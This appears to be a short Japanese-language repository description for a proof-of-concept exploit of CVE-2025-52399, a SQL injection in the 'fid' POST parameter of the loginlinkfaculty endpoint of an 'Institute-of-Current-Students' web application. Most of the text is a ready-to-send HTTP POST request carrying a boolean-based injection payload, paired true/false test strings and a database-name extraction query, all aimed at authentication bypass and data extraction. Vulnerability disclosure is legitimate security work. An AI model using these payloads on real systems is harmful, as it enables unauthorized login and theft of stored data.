userr404/cve-2025-52399-sqli-institute-of-current-studentsCVE-2025-52399の概念実証エクスプロイト。Institute-of-Current-StudentsのloginlinkfacultyエンドポイントにおけるSQLインジェクションを実証し、認証バイパスとデータ抽出を可能にします。
loginlinkfaculty エンドポイントは、fid POSTパラメータを介したSQLインジェクションに対して脆弱です。このパラメータはSQLクエリで使用される前に適切にサニタイズされていないため、リモート攻撃者が任意のSQLコマンドを実行することが可能です。
/loginlinkfaculty (POST)fidicsnewhttp POST /Institute-of-Current-Students/loginlinkfaculty HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded
fid=-1'+OR+321=6+AND+000942=000942--&pass=example
✅ -1' OR 3*2*1=6 AND 000942=000942 -- → TRUE
❌ -1' OR 2*3=4 AND 000942=000942 -- → FALSE
SELECT database(); -- returns 'icsnew'
Isroil Mustafoqulov